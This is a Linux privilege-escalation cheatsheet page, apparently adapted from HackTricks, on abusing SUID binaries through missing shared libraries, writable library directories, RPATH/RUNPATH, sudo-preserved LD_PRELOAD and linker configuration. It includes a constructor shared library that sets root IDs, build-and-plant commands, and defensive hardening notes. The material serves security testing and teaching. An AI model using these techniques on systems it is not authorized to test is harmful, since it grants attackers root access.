daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

suid-shared-library-and-linker-abuse.md (9886B)


      1 ---
      2 title: "SUID Shared Library and Linker Abuse"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/interesting-files-permissions/suid-shared-library-and-linker-abuse.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/suid-shared-library-and-linker-abuse.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SUID Shared Library and Linker Abuse
     14 
     15 SUID binaries are usually reviewed for direct command execution, but custom SUID programs can also be vulnerable through the dynamic linker. The common theme is simple: a privileged executable loads code from a path or configuration that a lower-privileged user can influence.<sup>[[1]](#references)</sup>
     16 
     17 This page focuses on generic technique patterns: missing libraries, writable library directories, `RPATH`/`RUNPATH`, `LD_PRELOAD` through sudo, linker configuration, and SUID hardlink confusion.
     18 
     19 ## Fast Enumeration
     20 
     21 Start by finding unusual SUID files and checking whether they are dynamically linked:<sup>[[1]](#references)[[3]](#references)</sup>
     22 
     23 ```bash
     24 find / -perm -4000 -type f -ls 2>/dev/null
     25 file /path/to/suid-binary
     26 ldd /path/to/suid-binary 2>/dev/null
     27 readelf -d /path/to/suid-binary 2>/dev/null | egrep 'NEEDED|RPATH|RUNPATH'
     28 ```
     29 
     30 Focus on non-standard locations, custom application paths, binaries owned by root but outside package-managed directories, and dependencies loaded from writable directories.<sup>[[1]](#references)</sup>
     31 
     32 Useful writeability checks:
     33 
     34 ```bash
     35 ldd /path/to/suid-binary 2>/dev/null
     36 readelf -d /path/to/suid-binary 2>/dev/null | egrep 'RPATH|RUNPATH'
     37 find / -writable -type d 2>/dev/null | head -n 50
     38 ```
     39 
     40 ## Missing Shared Object Injection
     41 
     42 Some custom SUID binaries try to load a shared object that does not exist. If the missing path is under a directory controlled by the attacker, the binary may load attacker-supplied code as the effective user.<sup>[[1]](#references)</sup>
     43 
     44 Find failed library lookups with `strace`'s syscall filter:<sup>[[2]](#references)</sup>
     45 
     46 ```bash
     47 strace -f -e trace=openat,access /path/to/suid-binary 2>&1 | grep -Ei 'ENOENT|\\.so'
     48 ```
     49 
     50 If the binary searches a writable path for `libexample.so`, a minimal proof library can use a constructor. Keep proof-of-impact harmless during validation:<sup>[[6]](#references)</sup>
     51 
     52 ```c
     53 #include <stdlib.h>
     54 #include <unistd.h>
     55 
     56 __attribute__((constructor))
     57 static void init(void) {
     58     setuid(0);
     59     setgid(0);
     60     system("id > /tmp/suid-so-ran");
     61 }
     62 ```
     63 
     64 Build it with the exact filename the binary tries to load:
     65 
     66 ```bash
     67 gcc -shared -fPIC proof.c -o /writable/path/libexample.so
     68 /path/to/suid-binary
     69 cat /tmp/suid-so-ran
     70 ```
     71 
     72 The exploitable condition is not the missing library alone. The attacker must be able to place a compatible shared object at a path the privileged loader will accept.<sup>[[1]](#references)</sup>
     73 
     74 ## Writable Library Directory
     75 
     76 Sometimes all dependencies exist, but one of the directories used to resolve them is writable. This may allow replacing a loaded library or planting a higher-priority library with the same name.<sup>[[1]](#references)</sup>
     77 
     78 Review dependency paths:<sup>[[1]](#references)[[3]](#references)</sup>
     79 
     80 ```bash
     81 ldd /path/to/suid-binary 2>/dev/null
     82 readelf -d /path/to/suid-binary 2>/dev/null | egrep 'NEEDED|RPATH|RUNPATH'
     83 namei -om /path/to/library.so
     84 ```
     85 
     86 If the directory is writable, validate with a copy-safe approach in a lab. Replacing system libraries on a live host can leave concurrently starting processes with inconsistent library versions.<sup>[[8]](#references)</sup>
     87 
     88 ## RPATH and RUNPATH
     89 
     90 `RPATH` and `RUNPATH` are dynamic-section entries that tell the loader where to search for libraries. They are dangerous in SUID programs when they point to attacker-writable directories.<sup>[[1]](#references)</sup>
     91 
     92 Detect them:<sup>[[3]](#references)[[10]](#references)</sup>
     93 
     94 ```bash
     95 readelf -d /path/to/suid-binary | egrep 'RPATH|RUNPATH'
     96 objdump -p /path/to/suid-binary 2>/dev/null | egrep 'RPATH|RUNPATH'
     97 ```
     98 
     99 Example risky output:
    100 
    101 ```text
    102 0x000000000000001d (RUNPATH)            Library runpath: [/opt/app/lib]
    103 0x0000000000000001 (NEEDED)             Shared library: [libcustom.so]
    104 ```
    105 
    106 If `/opt/app/lib` is writable and the binary needs `libcustom.so`, the attacker may be able to place a malicious `libcustom.so` there:<sup>[[1]](#references)</sup>
    107 
    108 ```bash
    109 ls -ld /opt/app/lib
    110 gcc -shared -fPIC proof.c -o /opt/app/lib/libcustom.so
    111 /path/to/suid-binary
    112 ```
    113 
    114 `RPATH` and `RUNPATH` are not identical in all resolution details, but for privilege-escalation review the practical question is the same: does the SUID binary search an attacker-writable directory for a library name?<sup>[[1]](#references)</sup>
    115 
    116 ## LD_PRELOAD, LD_LIBRARY_PATH and SUID
    117 
    118 For normal programs, `LD_PRELOAD` and `LD_LIBRARY_PATH` can force or influence shared object loading. For SUID programs, the dynamic loader normally enters secure-execution mode and ignores dangerous environment variables.<sup>[[1]](#references)</sup>
    119 
    120 This means a plain SUID binary is usually not vulnerable just because the user can set `LD_PRELOAD`:<sup>[[1]](#references)</sup>
    121 
    122 ```bash
    123 LD_PRELOAD=/tmp/proof.so /path/to/suid-binary
    124 ```
    125 
    126 The common exception is a sudo policy that permits setting or preserving loader variables for the target command. Inspect `sudo -l` for entries such as `env_keep+=LD_PRELOAD` or `env_keep+=LD_LIBRARY_PATH`; if the target is dynamically linked, it may load attacker-controlled code:<sup>[[4]](#references)[[5]](#references)</sup>
    127 
    128 ```bash
    129 sudo -l
    130 # Look for env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
    131 sudo LD_PRELOAD=/tmp/proof.so /allowed/command
    132 ```
    133 
    134 Do not confuse these cases; the loader and sudo policy rules above distinguish them:<sup>[[1]](#references)[[4]](#references)[[5]](#references)</sup>
    135 
    136 - `LD_PRELOAD` against a normal SUID binary: usually blocked by secure execution.
    137 - `LD_PRELOAD` preserved by sudo: potentially exploitable.
    138 - Missing `.so` in a writable path: exploitable when the SUID binary naturally loads that path.
    139 - `RPATH`/`RUNPATH` to a writable directory: exploitable when a needed library can be controlled.
    140 - `/etc/ld.so.preload` or linker config write access: system-wide and high impact.
    141 
    142 ## Linker Configuration
    143 
    144 `ld.so` uses the linker cache and `/etc/ld.so.preload`; `ldconfig` builds that cache from `/etc/ld.so.conf` and files included from it, commonly `/etc/ld.so.conf.d/`.<sup>[[1]](#references)[[7]](#references)[[8]](#references)</sup>
    145 
    146 High-value checks:
    147 
    148 ```bash
    149 ls -l /etc/ld.so.preload /etc/ld.so.conf 2>/dev/null
    150 find /etc/ld.so.conf.d -type f -writable -ls 2>/dev/null
    151 find /etc/ld.so.conf.d -type d -writable -ls 2>/dev/null
    152 ldconfig -v 2>/dev/null | head -n 50
    153 ```
    154 
    155 Writable linker configuration is usually more serious than a single vulnerable SUID binary because it can affect many dynamically linked processes. `/etc/ld.so.preload` is especially dangerous because it can force a shared object into privileged processes.<sup>[[1]](#references)[[7]](#references)[[8]](#references)</sup>
    156 
    157 ## SUID Hardlink Confusion
    158 
    159 Hardlinks can make the same SUID inode appear under multiple names.<sup>[[9]](#references)</sup> This is useful for hiding a privileged helper, confusing cleanup, or bypassing naive path-based review.
    160 
    161 Find SUID files with more than one link:<sup>[[9]](#references)</sup>
    162 
    163 ```bash
    164 find / -xdev -perm -4000 -type f -links +1 -ls 2>/dev/null
    165 ```
    166 
    167 Inspect all paths to the same inode:<sup>[[9]](#references)</sup>
    168 
    169 ```bash
    170 stat /path/to/suid-wrapper
    171 find / -xdev -samefile /path/to/suid-wrapper -ls 2>/dev/null
    172 ```
    173 
    174 The abuse is not that a hardlink changes permissions. The abuse is path confusion: a privileged inode may be reachable through a name that defenders or scripts do not expect.<sup>[[9]](#references)</sup> For deeper inode and hardlink workflow, see [Filesystem, Inodes and Recovery](/hacktricks/linux-hardening/main-system-information/filesystem-inodes-and-recovery).
    175 
    176 ## Defensive Notes
    177 
    178 - Keep SUID binaries minimal, audited, and package-managed where possible.
    179 - Avoid `RPATH`/`RUNPATH` entries pointing to writable or application-managed directories.<sup>[[1]](#references)[[8]](#references)</sup>
    180 - Keep library directories root-owned and non-writable by regular users.<sup>[[8]](#references)</sup>
    181 - Do not preserve `LD_PRELOAD`, `LD_LIBRARY_PATH`, or similar loader variables through sudo.<sup>[[1]](#references)[[5]](#references)</sup>
    182 - Monitor `/etc/ld.so.preload`, `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, and unexpected SUID files.<sup>[[1]](#references)[[7]](#references)[[8]](#references)</sup>
    183 - Review hardlinked SUID files and investigate custom SUID wrappers outside standard system paths.<sup>[[9]](#references)</sup>
    184 
    185 ## References
    186 
    187 - [1] [ld.so(8) — Linux manual page](https://man7.org/linux/man-pages/man8/ld.so.8.html)
    188 - [2] [strace(1) — Linux manual page](https://man7.org/linux/man-pages/man1/strace.1.html)
    189 - [3] [readelf (GNU Binary Utilities)](https://sourceware.org/binutils/docs/binutils/readelf.html)
    190 - [4] [sudo(8) — Linux manual page](https://www.man7.org/linux/man-pages/man8/sudo.8.html)
    191 - [5] [sudoers(5) — Linux manual page](https://man7.org/linux/man-pages/man5/sudoers.5.html)
    192 - [6] [Common Attributes (GCC)](https://gcc.gnu.org/onlinedocs/gcc/Common-Attributes.html)
    193 - [7] [ldconfig(8) — Linux manual page](https://man7.org/linux/man-pages/man8/ldconfig.8.html)
    194 - [8] [Dynamic Linker Hardening (The GNU C Library)](https://www.sourceware.org/glibc/manual/latest/html_node/Dynamic-Linker-Hardening.html)
    195 - [9] [Hard Links (GNU Findutils)](https://www.gnu.org/software/findutils/manual/html_node/find_html/Hard-Links.html)
    196 - [10] [objdump (GNU Binary Utilities)](https://www.sourceware.org/binutils/docs/binutils/objdump.html)